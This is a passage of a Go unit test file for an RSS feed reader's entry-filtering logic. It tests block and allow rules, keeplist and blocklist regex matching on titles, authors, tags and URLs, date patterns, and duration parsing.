{\n\t\t\t\tt.Errorf(\"parseRule() validity = %v, expected %v\", valid, tt.valid)\n\t\t\t}\n\t\t\tif valid && (rule.Type != tt.expected.Type || rule.Value != tt.expected.Value) {\n\t\t\t\tt.Errorf(\"parseRule() = %+v, expected %+v\", rule, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Tests for IsBlockedEntry function\nfunc TestIsBlockedEntry(t *testing.T) {\n\tentry := createTestEntry()\n\tfeed := createTestFeed()\n\n\ttests := []struct {\n\t\tname       string\n\t\tblockRules filterRules\n\t\tallowRules filterRules\n\t\tsetup      func()\n\t\texpected   bool\n\t}{\n\t\t{\n\t\t\tname:       \"no rules - not blocked\",\n\t\t\tblockRules: filterRules{},\n\t\t\tallowRules: filterRules{},\n\t\t\tsetup:      func() {},\n\t\t\texpected:   false,\n\t\t},\n\t\t{\n\t\t\tname:       \"matching block rule\",\n\t\t\tblockRules: filterRules{{Type: \"EntryTitle\", Value: \"Test\"}},\n\t\t\tallowRules: filterRules{},\n\t\t\tsetup:      func() {},\n\t\t\texpected:   true,\n\t\t},\n\t\t{\n\t\t\tname:       \"block rule takes precedence over allow rule\",\n\t\t\tblockRules: filterRules{{Type: \"EntryTitle\", Value: \"Test\"}},\n\t\t\tallowRules: filterRules{{Type: \"EntryTitle\", Value: \"Test\"}},\n\t\t\tsetup:      func() {},\n\t\t\texpected:   true, // Block rules are checked first\n\t\t},\n\t\t{\n\t\t\tname:       \"non-matching block rule\",\n\t\t\tblockRules: filterRules{{Type: \"EntryTitle\", Value: \"NonMatching\"}},\n\t\t\tallowRules: filterRules{},\n\t\t\tsetup:      func() {},\n\t\t\texpected:   false,\n\t\t},\n\t\t{\n\t\t\tname:       \"allow rule matches - entry should be allowed\",\n\t\t\tblockRules: filterRules{},\n\t\t\tallowRules: filterRules{{Type: \"EntryTitle\", Value: \"Test\"}},\n\t\t\tsetup:      func() {},\n\t\t\texpected:   false,\n\t\t},\n\t\t{\n\t\t\tname:       \"allow rule exists but doesn't match - entry should be blocked\",\n\t\t\tblockRules: filterRules{},\n\t\t\tallowRules: filterRules{{Type: \"EntryTitle\", Value: \"NonMatching\"}},\n\t\t\tsetup:      func() {},\n\t\t\texpected:   true,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\ttt.setup()\n\t\t\tresult := IsBlockedEntry(tt.blockRules, tt.allowRules, feed, entry)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Errorf(\"IsBlockedEntry() = %v, expected %v\", result, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestAllowRulesExclusiveBehavior(t *testing.T) {\n\tentry := createTestEntry()\n\tfeed := createTestFeed()\n\n\ttests := []struct {\n\t\tname        string\n\t\tallowRules  filterRules\n\t\texpected    bool\n\t\tdescription string\n\t}{\n\t\t{\n\t\t\tname:        \"no allow rules - entry should pass\",\n\t\t\tallowRules:  filterRules{},\n\t\t\texpected:    false,\n\t\t\tdescription: \"When no allow rules exist, entry should not be blocked\",\n\t\t},\n\t\t{\n\t\t\tname:        \"allow rule matches - entry should pass\",\n\t\t\tallowRules:  filterRules{{Type: \"EntryTitle\", Value: \"Test\"}},\n\t\t\texpected:    false,\n\t\t\tdescription: \"When allow rules exist and match, entry should not be blocked\",\n\t\t},\n\t\t{\n\t\t\tname:        \"allow rule doesn't match - entry should be blocked\",\n\t\t\tallowRules:  filterRules{{Type: \"EntryTitle\", Value: \"NonMatching\"}},\n\t\t\texpected:    true,\n\t\t\tdescription: \"When allow rules exist but don't match, entry should be blocked\",\n\t\t},\n\t\t{\n\t\t\tname: \"multiple allow rules - one matches\",\n\t\t\tallowRules: filterRules{\n\t\t\t\t{Type: \"EntryTitle\", Value: \"NonMatching\"},\n\t\t\t\t{Type: \"EntryAuthor\", Value: \"Test\"},\n\t\t\t},\n\t\t\texpected:    false,\n\t\t\tdescription: \"When any allow rule matches, entry should not be blocked\",\n\t\t},\n\t\t{\n\t\t\tname: \"multiple allow rules - none match\",\n\t\t\tallowRules: filterRules{\n\t\t\t\t{Type: \"EntryTitle\", Value: \"NonMatching1\"},\n\t\t\t\t{Type: \"EntryAuthor\", Value: \"NonMatching2\"},\n\t\t\t},\n\t\t\texpected:    true,\n\t\t\tdescription: \"When no allow rules match, entry should be blocked\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult := IsBlockedEntry(filterRules{}, tt.allowRules, feed, entry)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Errorf(\"IsBlockedEntry() = %v, expected %v (%s)\", result, tt.expected, tt.description)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestAllowRulesWithBlockRulesPrecedence(t *testing.T) {\n\tentry := createTestEntry()\n\tfeed := createTestFeed()\n\n\ttests := []struct {\n\t\tname        string\n\t\tblockRules  filterRules\n\t\tallowRules  filterRules\n\t\texpected    bool\n\t\tdescription string\n\t}{\n\t\t{\n\t\t\tname:        \"block rule takes precedence over matching allow rule\",\n\t\t\tblockRules:  filterRules{{Type: \"EntryTitle\", Value: \"Test\"}},\n\t\t\tallowRules:  filterRules{{Type: \"EntryTitle\", Value: \"Test\"}},\n\t\t\texpected:    true,\n\t\t\tdescription: \"Block rules should always take precedence, even when allow rules would match\",\n\t\t},\n\t\t{\n\t\t\tname:        \"block rule takes precedence, allow rule would fail anyway\",\n\t\t\tblockRules:  filterRules{{Type: \"EntryTitle\", Value: \"Test\"}},\n\t\t\tallowRules:  filterRules{{Type: \"EntryTitle\", Value: \"NonMatching\"}},\n\t\t\texpected:    true,\n\t\t\tdescription: \"Block rules should take precedence regardless of allow rule matching\",\n\t\t},\n\t\t{\n\t\t\tname:        \"no block rule, allow rule matches\",\n\t\t\tblockRules:  filterRules{},\n\t\t\tallowRules:  filterRules{{Type: \"EntryTitle\", Value: \"Test\"}},\n\t\t\texpected:    false,\n\t\t\tdescription: \"When no block rules match and allow rule matches, entry should pass\",\n\t\t},\n\t\t{\n\t\t\tname:        \"non-matching block rule, allow rule doesn't match\",\n\t\t\tblockRules:  filterRules{{Type: \"EntryTitle\", Value: \"NonMatching\"}},\n\t\t\tallowRules:  filterRules{{Type: \"EntryTitle\", Value: \"NonMatching\"}},\n\t\t\texpected:    true,\n\t\t\tdescription: \"When block rules don't match but allow rules also don't match, entry should be blocked\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult := IsBlockedEntry(tt.blockRules, tt.allowRules, feed, entry)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Errorf(\"IsBlockedEntry() = %v, expected %v (%s)\", result, tt.expected, tt.description)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestKeeplistRulesBehavior(t *testing.T) {\n\tentry := createTestEntry()\n\tfeed := createTestFeed()\n\n\ttests := []struct {\n\t\tname         string\n\t\tkeeplistRule string\n\t\texpected     bool\n\t\tdescription  string\n\t}{\n\t\t{\n\t\t\tname:         \"no keeplist rules - entry should pass\",\n\t\t\tkeeplistRule: \"\",\n\t\t\texpected:     false,\n\t\t\tdescription:  \"When no keeplist rules exist, entry should not be blocked\",\n\t\t},\n\t\t{\n\t\t\tname:         \"keeplist rule matches title - entry should pass\",\n\t\t\tkeeplistRule: \"Test.*Title\",\n\t\t\texpected:     false,\n\t\t\tdescription:  \"When keeplist rule matches entry title, entry should not be blocked\",\n\t\t},\n\t\t{\n\t\t\tname:         \"keeplist rule matches URL - entry should pass\",\n\t\t\tkeeplistRule: \"example\\\\.com\",\n\t\t\texpected:     false,\n\t\t\tdescription:  \"When keeplist rule matches entry URL, entry should not be blocked\",\n\t\t},\n\t\t{\n\t\t\tname:         \"keeplist rule matches author - entry should pass\",\n\t\t\tkeeplistRule: \"Test.*Author\",\n\t\t\texpected:     false,\n\t\t\tdescription:  \"When keeplist rule matches entry author, entry should not be blocked\",\n\t\t},\n\t\t{\n\t\t\tname:         \"keeplist rule matches tag - entry should pass\",\n\t\t\tkeeplistRule: \"golang\",\n\t\t\texpected:     false,\n\t\t\tdescription:  \"When keeplist rule matches entry tag, entry should not be blocked\",\n\t\t},\n\t\t{\n\t\t\tname:         \"keeplist rule doesn't match - entry should be blocked\",\n\t\t\tkeeplistRule: \"NonMatchingPattern\",\n\t\t\texpected:     true,\n\t\t\tdescription:  \"When keeplist rule doesn't match any entry field, entry should be blocked\",\n\t\t},\n\t\t{\n\t\t\tname:         \"invalid keeplist regex - entry should pass\",\n\t\t\tkeeplistRule: \"[invalid\",\n\t\t\texpected:     false,\n\t\t\tdescription:  \"When keeplist rule is invalid regex, entry should not be blocked (rule is ignored)\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tfeed.KeeplistRules = tt.keeplistRule\n\t\t\tfeed.BlocklistRules = \"\" // Ensure no blocklist interference\n\t\t\tresult := IsBlockedEntry(filterRules{}, filterRules{}, feed, entry)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Errorf(\"IsBlockedEntry() with keeplist '%s' = %v, expected %v (%s)\",\n\t\t\t\t\ttt.keeplistRule, result, tt.expected, tt.description)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Tests for matchesEntryRegexRules function\nfunc TestMatchesEntryRegexRules(t *testing.T) {\n\tentry := createTestEntry()\n\tfeed := createTestFeed()\n\n\ttests := []struct {\n\t\tname          string\n\t\tregexPattern  string\n\t\texpectedMatch bool\n\t\texpectedValid bool\n\t\tdescription   string\n\t}{\n\t\t{\n\t\t\tname:          \"empty pattern\",\n\t\t\tregexPattern:  \"\",\n\t\t\texpectedMatch: false,\n\t\t\texpectedValid: true,\n\t\t\tdescription:   \"Empty pattern should be valid but not match\",\n\t\t},\n\t\t{\n\t\t\tname:          \"invalid regex\",\n\t\t\tregexPattern:  \"[\",\n\t\t\texpectedMatch: false,\n\t\t\texpectedValid: false,\n\t\t\tdescription:   \"Invalid regex should return false for both match and validity\",\n\t\t},\n\t\t{\n\t\t\tname:          \"matches title\",\n\t\t\tregexPattern:  \"Test.*Title\",\n\t\t\texpectedMatch: true,\n\t\t\texpectedValid: true,\n\t\t\tdescription:   \"Valid regex matching title should return true for both\",\n\t\t},\n\t\t{\n\t\t\tname:          \"matches URL\",\n\t\t\tregexPattern:  \"example\\\\.com\",\n\t\t\texpectedMatch: true,\n\t\t\texpectedValid: true,\n\t\t\tdescription:   \"Valid regex matching URL should return true for both\",\n\t\t},\n\t\t{\n\t\t\tname:          \"matches author\",\n\t\t\tregexPattern:  \"Test.*Author\",\n\t\t\texpectedMatch: true,\n\t\t\texpectedValid: true,\n\t\t\tdescription:   \"Valid regex matching author should return true for both\",\n\t\t},\n\t\t{\n\t\t\tname:          \"matches tag\",\n\t\t\tregexPattern:  \"golang\",\n\t\t\texpectedMatch: true,\n\t\t\texpectedValid: true,\n\t\t\tdescription:   \"Valid regex matching tag should return true for both\",\n\t\t},\n\t\t{\n\t\t\tname:          \"no match but valid regex\",\n\t\t\tregexPattern:  \"nomatch\",\n\t\t\texpectedMatch: false,\n\t\t\texpectedValid: true,\n\t\t\tdescription:   \"Valid regex with no match should return false for match, true for validity\",\n\t\t},\n\t\t{\n\t\t\tname:          \"invalid regex - unclosed parenthesis\",\n\t\t\tregexPattern:  \"(unclosed\",\n\t\t\texpectedMatch: false,\n\t\t\texpectedValid: false,\n\t\t\tdescription:   \"Invalid regex with unclosed parenthesis should return false for both\",\n\t\t},\n\t\t{\n\t\t\tname:          \"invalid regex - invalid quantifier\",\n\t\t\tregexPattern:  \"*invalid\",\n\t\t\texpectedMatch: false,\n\t\t\texpectedValid: false,\n\t\t\tdescription:   \"Invalid regex with wrong quantifier should return false for both\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tmatch, valid := matchesEntryRegexRules(tt.regexPattern, feed, entry)\n\t\t\tif match != tt.expectedMatch {\n\t\t\t\tt.Errorf(\"matchesEntryRegexRules() match = %v, expected %v (%s)\", match, tt.expectedMatch, tt.description)\n\t\t\t}\n\t\t\tif valid != tt.expectedValid {\n\t\t\t\tt.Errorf(\"matchesEntryRegexRules() valid = %v, expected %v (%s)\", valid, tt.expectedValid, tt.description)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Tests for matchesEntryFilterRules function\nfunc TestMatchesEntryFilterRules(t *testing.T) {\n\tentry := createTestEntry()\n\tfeed := createTestFeed()\n\n\ttests := []struct {\n\t\tname     string\n\t\trules    filterRules\n\t\texpected bool\n\t}{\n\t\t{\n\t\t\tname:     \"empty rules\",\n\t\t\trules:    filterRules{},\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname: \"matching rule\",\n\t\t\trules: filterRules{\n\t\t\t\t{Type: \"EntryTitle\", Value: \"Test\"},\n\t\t\t},\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname: \"non-matching rule\",\n\t\t\trules: filterRules{\n\t\t\t\t{Type: \"EntryTitle\", Value: \"NonMatching\"},\n\t\t\t},\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname: \"multiple rules - one matches\",\n\t\t\trules: filterRules{\n\t\t\t\t{Type: \"EntryTitle\", Value: \"NonMatching\"},\n\t\t\t\t{Type: \"EntryAuthor\", Value: \"Test\"},\n\t\t\t},\n\t\t\texpected: true,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult := matchesEntryFilterRules(tt.rules, feed, entry)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Errorf(\"matchesEntryFilterRules() = %v, expected %v\", result, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Tests for matchesRule function\nfunc TestMatchesRule(t *testing.T) {\n\tentry := createTestEntry()\n\tfutureEntry := createTestEntry()\n\tfutureEntry.Date = time.Now().Add(time.Hour)\n\n\ttests := []struct {\n\t\tname     string\n\t\trule     filterRule\n\t\tentry    *model.Entry\n\t\texpected bool\n\t}{\n\t\t{\n\t\t\tname:     \"EntryTitle match\",\n\t\t\trule:     filterRule{Type: \"EntryTitle\", Value: \"Test\"},\n\t\t\tentry:    entry,\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"EntryTitle no match\",\n\t\t\trule:     filterRule{Type: \"EntryTitle\", Value: \"NoMatch\"},\n\t\t\tentry:    entry,\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname:     \"EntryURL match\",\n\t\t\trule:     filterRule{Type: \"EntryURL\", Value: \"example\\\\.com\"},\n\t\t\tentry:    entry,\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"EntryURL no match\",\n\t\t\trule:     filterRule{Type: \"EntryURL\", Value: \"nomatch\\\\.com\"},\n\t\t\tentry:    entry,\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname:     \"EntryCommentsURL match\",\n\t\t\trule:     filterRule{Type: \"EntryCommentsURL\", Value: \"comments\"},\n\t\t\tentry:    entry,\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"EntryContent match\",\n\t\t\trule:     filterRule{Type: \"EntryContent\", Value: \"test.*content\"},\n\t\t\tentry:    entry,\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"EntryAuthor match\",\n\t\t\trule:     filterRule{Type: \"EntryAuthor\", Value: \"Test.*Author\"},\n\t\t\tentry:    entry,\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"EntryTag match\",\n\t\t\trule:     filterRule{Type: \"EntryTag\", Value: \"golang\"},\n\t\t\tentry:    entry,\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"EntryTag no match\",\n\t\t\trule:     filterRule{Type: \"EntryTag\", Value: \"python\"},\n\t\t\tentry:    entry,\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname:     \"EntryDate future\",\n\t\t\trule:     filterRule{Type: \"EntryDate\", Value: \"future\"},\n\t\t\tentry:    futureEntry,\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"EntryDate not future\",\n\t\t\trule:     filterRule{Type: \"EntryDate\", Value: \"future\"},\n\t\t\tentry:    entry,\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname:     \"unknown rule type\",\n\t\t\trule:     filterRule{Type: \"UnknownType\", Value: \"test\"},\n\t\t\tentry:    entry,\n\t\t\texpected: false,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult := matchesRule(tt.rule, tt.entry)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Errorf(\"matchesRule() = %v, expected %v\", result, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Tests for isDateMatchingPattern function\nfunc TestIsDateMatchingPattern(t *testing.T) {\n\tnow := time.Now()\n\ttestDate := time.Date(2023, 6, 15, 12, 0, 0, 0, time.UTC)\n\n\ttests := []struct {\n\t\tname      string\n\t\tpattern   string\n\t\tentryDate time.Time\n\t\texpected  bool\n\t}{\n\t\t{\n\t\t\tname:      \"future - positive case\",\n\t\t\tpattern:   \"future\",\n\t\t\tentryDate: now.Add(time.Hour),\n\t\t\texpected:  true,\n\t\t},\n\t\t{\n\t\t\tname:      \"future - negative case\",\n\t\t\tpattern:   \"future\",\n\t\t\tentryDate: now.Add(-time.Hour),\n\t\t\texpected:  false,\n\t\t},\n\t\t{\n\t\t\tname:      \"before - positive case\",\n\t\t\tpattern:   \"before:2023-07-01\",\n\t\t\tentryDate: testDate,\n\t\t\texpected:  true,\n\t\t},\n\t\t{\n\t\t\tname:      \"before - negative case\",\n\t\t\tpattern:   \"before:2023-06-01\",\n\t\t\tentryDate: testDate,\n\t\t\texpected:  false,\n\t\t},\n\t\t{\n\t\t\tname:      \"before - invalid date\",\n\t\t\tpattern:   \"before:invalid-date\",\n\t\t\tentryDate: testDate,\n\t\t\texpected:  false,\n\t\t},\n\t\t{\n\t\t\tname:      \"after - positive case\",\n\t\t\tpattern:   \"after:2023-06-01\",\n\t\t\tentryDate: testDate,\n\t\t\texpected:  true,\n\t\t},\n\t\t{\n\t\t\tname:      \"after - negative case\",\n\t\t\tpattern:   \"after:2023-07-01\",\n\t\t\tentryDate: testDate,\n\t\t\texpected:  false,\n\t\t},\n\t\t{\n\t\t\tname:      \"after - invalid date\",\n\t\t\tpattern:   \"after:invalid-date\",\n\t\t\tentryDate: testDate,\n\t\t\texpected:  false,\n\t\t},\n\t\t{\n\t\t\tname:      \"between - positive case\",\n\t\t\tpattern:   \"between:2023-06-01,2023-07-01\",\n\t\t\tentryDate: testDate,\n\t\t\texpected:  true,\n\t\t},\n\t\t{\n\t\t\tname:      \"between - negative case\",\n\t\t\tpattern:   \"between:2023-07-01,2023-08-01\",\n\t\t\tentryDate: testDate,\n\t\t\texpected:  false,\n\t\t},\n\t\t{\n\t\t\tname:      \"between - invalid format\",\n\t\t\tpattern:   \"between:2023-06-01\",\n\t\t\tentryDate: testDate,\n\t\t\texpected:  false,\n\t\t},\n\t\t{\n\t\t\tname:      \"between - invalid start date\",\n\t\t\tpattern:   \"between:invalid,2023-07-01\",\n\t\t\tentryDate: testDate,\n\t\t\texpected:  false,\n\t\t},\n\t\t{\n\t\t\tname:      \"between - invalid end date\",\n\t\t\tpattern:   \"between:2023-06-01,invalid\",\n\t\t\tentryDate: testDate,\n\t\t\texpected:  false,\n\t\t},\n\t\t{\n\t\t\tname:      \"max-age - positive case\",\n\t\t\tpattern:   \"max-age:1d\",\n\t\t\tentryDate: now.Add(-2 * 24 * time.Hour),\n\t\t\texpected:  true,\n\t\t},\n\t\t{\n\t\t\tname:      \"max-age - negative case\",\n\t\t\tpattern:   \"max-age:3d\",\n\t\t\tentryDate: now.Add(-2 * 24 * time.Hour),\n\t\t\texpected:  false,\n\t\t},\n\t\t{\n\t\t\tname:      \"max-age - invalid duration\",\n\t\t\tpattern:   \"max-age:invalid\",\n\t\t\tentryDate: testDate,\n\t\t\texpected:  false,\n\t\t},\n\t\t{\n\t\t\tname:      \"invalid pattern format\",\n\t\t\tpattern:   \"invalid-pattern\",\n\t\t\tentryDate: testDate,\n\t\t\texpected:  false,\n\t\t},\n\t\t{\n\t\t\tname:      \"unknown rule type\",\n\t\t\tpattern:   \"unknown:value\",\n\t\t\tentryDate: testDate,\n\t\t\texpected:  false,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult := isDateMatchingPattern(tt.pattern, tt.entryDate)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Errorf(\"isDateMatchingPattern() = %v, expected %v\", result, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Tests for containsRegexPattern function\nfunc TestContainsRegexPattern(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\tpattern  string\n\t\titems    []string\n\t\texpected bool\n\t}{\n\t\t{\n\t\t\tname:     \"match found\",\n\t\t\tpattern:  \"go.*\",\n\t\t\titems:    []string{\"golang\", \"python\", \"javascript\"},\n\t\t\texpected: true,\n\t\t},\n\t\t{\n\t\t\tname:     \"no match\",\n\t\t\tpattern:  \"rust\",\n\t\t\titems:    []string{\"golang\", \"python\", \"javascript\"},\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname:     \"empty items\",\n\t\t\tpattern:  \"test\",\n\t\t\titems:    []string{},\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname:     \"invalid regex\",\n\t\t\tpattern:  \"[\",\n\t\t\titems:    []string{\"test\"},\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname:     \"case sensitive match\",\n\t\t\tpattern:  \"Go\",\n\t\t\titems:    []string{\"golang\", \"python\"},\n\t\t\texpected: false,\n\t\t},\n\t\t{\n\t\t\tname:     \"exact match\",\n\t\t\tpattern:  \"^golang$\",\n\t\t\titems:    []string{\"golang\", \"go\"},\n\t\t\texpected: true,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult := containsRegexPattern(tt.pattern, tt.items)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Errorf(\"containsRegexPattern() = %v, expected %v\", result, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Tests for parseDuration function\nfunc TestParseDuration(t *testing.T) {\n\ttests := []struct {\n\t\tname        string\n\t\tduration    string\n\t\texpected    time.Duration\n\t\texpectError bool\n\t}{\n\t\t{\n\t\t\tname:        \"days - single digit\",\n\t\t\tduration:    \"1d\",\n\t\t\texpected:    24 * time.Hour,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"days - multiple digits\",\n\t\t\tduration:    \"30d\",\n\t\t\texpected:    30 * 24 * time.Hour,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"days - zero\",\n\t\t\tduration:    \"0d\",\n\t\t\texpected:    0,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"days - empty number\",\n\t\t\tduration:    \"d\",\n\t\t\texpected:    0,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"days - invalid number\",\n\t\t\tduration:    \"invalid_d\",\n\t\t\texpected:    0,\n\t\t\texpectError: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"hours\",\n\t\t\tduration:    \"24h\",\n\t\t\texpected:    24 * time.Hour,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"minutes\",\n\t\t\tduration:    \"60m\",\n\t\t\texpected:    60 * time.Minute,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"seconds\",\n\t\t\tduration:    \"30s\",\n\t\t\texpected:    30 * time.Second,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"milliseconds\",\n\t\t\tduration:    \"500ms\",\n\t\t\texpected:    500 * time.Millisecond,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"microseconds\",\n\t\t\tduration:    \"1000us\",\n\t\t\texpected:    1000 * time.Microsecond,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"nanoseconds\",\n\t\t\tduration:    \"1000ns\",\n\t\t\texpected:    1000 * time.Nanosecond,\n\t\t\texpectError: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"invalid duration\",\n\t\t\tduration:    \"invalid\",\n\t\t\texpected:    0,\n\t\t\texpectError: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"empty string\",\n\t\t\tduration:    \"\",\n\t\t\texpected:    0,\n\t\t\texpectError: true,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult, err := parseDuration(tt.duration)\n\t\t\tif tt.expectError && err == nil {\n\t\t\t\tt.Errorf(\"parseDuration() expected error but got none\")\n\t\t\t}\n\t\t\tif !tt.expectError && err != nil {\n\t\t\t\tt.Errorf(\"parseDuration() unexpected error: %v\", err)\n\t\t\t}\n\t\t\tif !tt.expectError && result != tt.expected {\n\t\t\t\tt.Errorf(\"parseDuration() = %v, expected %v\", result, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Additional edge case tests\nfunc TestParseRulesEdgeCases(t *testing.T) {\n\ttests := []struct {\n\t\tname      string\n\t\tuserRules string\n\t\tfeedRules string\n\t\texpected  int\n\t}{\n\t\t{\n\t\t\tname:      \"rules with only newlines\",\n\t\t\tuserRules: \"\\n\\n\\n\",\n\t\t\tfeedRules: \"\\n\\n\",\n\t\t\texpected:  0,\n\t\t},\n\t\t{\n\t\t\tname:      \"rules with only whitespace\",\n\t\t\tuserRules: \"   \\n   \\t   \\n\",\n\t\t\tfeedRules: \"\",\n\t\t\texpected:  0,\n\t\t},\n\t\t{\n\t\t\tname:      \"rules with equals but empty value\",\n\t\t\tuserRules: \"EntryTitle=\",\n\t\t\tfeedRules: \"\",\n\t\t\texpected:  1,\n\t\t},\n\t\t{\n\t\t\tname:      \"rules with equals but empty key\",\n\t\t\tuserRules: \"=value\",\n\t\t\tfeedRules: \"\",\n\t\t\texpected:  1,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\trules := ParseRules(tt.userRules, tt.feedRules)\n\t\t\tif len(rules) != tt.expected {\n\t\t\t\tt.Errorf(\"ParseRules() returned %d rules, expected %d\", len(rules), tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestIsBlockedEntryWithRegexRules(t *testing.T) {\n\tentry := createTestEntry()\n\tfeed := createTestFeed()\n\n\t// Test with blocklist regex rules\n\tfeed.BlocklistRules = \"Test.*Title\"\n\tresult := IsBlockedEntry(filterRules{}, filterRules{}, feed, entry)\n\tif !result {\n\t\tt.Errorf(\"IsBlockedEntry() should block entry matching blocklist regex\")\n\t}\n\n\t// Test with both blocklist and keeplist regex rules - blocklist takes precedence\n\tfeed.KeeplistRules = \"Test.*Title\"\n\tresult = IsBlockedEntry(filterRules{}, filterRules{}, feed, entry)\n\tif !result {\n\t\tt.Errorf(\"IsBlockedEntry() should block entry when both blocklist and keeplist match (blocklist takes precedence)\")\n\t}\n\n\t// Reset blocklist and test with keeplist only\n\tfeed.BlocklistRules = \"\"\n\tfeed.KeeplistRules = \"Test.*Title\"\n\tresult = IsBlockedEntry(filterRules{}, filterRules{}, feed, entry)\n\tif result {\n\t\tt.Errorf(\"IsBlockedEntry() should not block entry matching keeplist only\")\n\t}\n\n\t// Test with keeplist that doesn't match - should block\n\tfeed.KeeplistRules = \"NonMatchingPattern\"\n\tresult = IsBlockedEntry(filterRules{}, filterRules{}, feed, entry)\n\tif !result {\n\t\tt.Errorf(\"IsBlockedEntry() should block entry when keeplist doesn't match\")\n\t}\n}\n\nfunc TestMatchesRuleWithInvalidRegex(t *testing.T) {\n\tentry := createTestEntry()\n\n\t// Test invalid regex patterns\n\trule := filterRule{Type: \"EntryTitle\", Value: \"[\"}\n\tresult := matchesRule(rule, entry)\n\tif result {\n\t\tt.Errorf(\"matchesRule() should return false for invalid regex\")\n\t}\n}\n\nfunc TestIsDateMatchingPatternEdgeCases(t *testing.T) {\n\ttestDate := time.Date(2023, 6, 15, 12, 0, 0, 0, time.UTC)\n\n\t// Test edge case: between with boundary dates\n\tresult := isDateMatchingPattern(\"between:2023-06-15,2023-06-15\", testDate)\n\tif result {\n\t\tt.Errorf(\"isDateMatchingPattern() should return false for date exactly on boundaries\")\n\t}\n\n\t// Test edge case: max-age with hours\n\tnow := time.Now()\n\toldEntry := now.Add(-25 * time.Hour)\n\tresult = isDateMatchingPattern(\"max-age:24h\", oldEntry)\n\tif !result {\n\t\tt.Errorf(\"isDateMatchingPattern() should match old entry with max-age in hours\")\n\t}\n}\n\n// Additional comprehensive edge case tests\nfunc TestComplexFilterScenarios(t *testing.T) {\n\tentry := createTestEntry()\n\tfeed := createTestFeed()\n\n\t// Test complex scenario: block filter rules + blocklist regex + allow filter rules + keeplist regex\n\tblockRules := filterRules{{Type: \"EntryAuthor\", Value: \"Test.*Author\"}}\n\tallowRules := filterRules{{Type: \"EntryTitle\", Value: \"Test.*Title\"}}\n\tfeed.BlocklistRules = \"golang\"\n\tfeed.KeeplistRules = \"testing\"\n\n\t// Block filter rules should take precedence\n\tresult := IsBlockedEntry(blockRules, 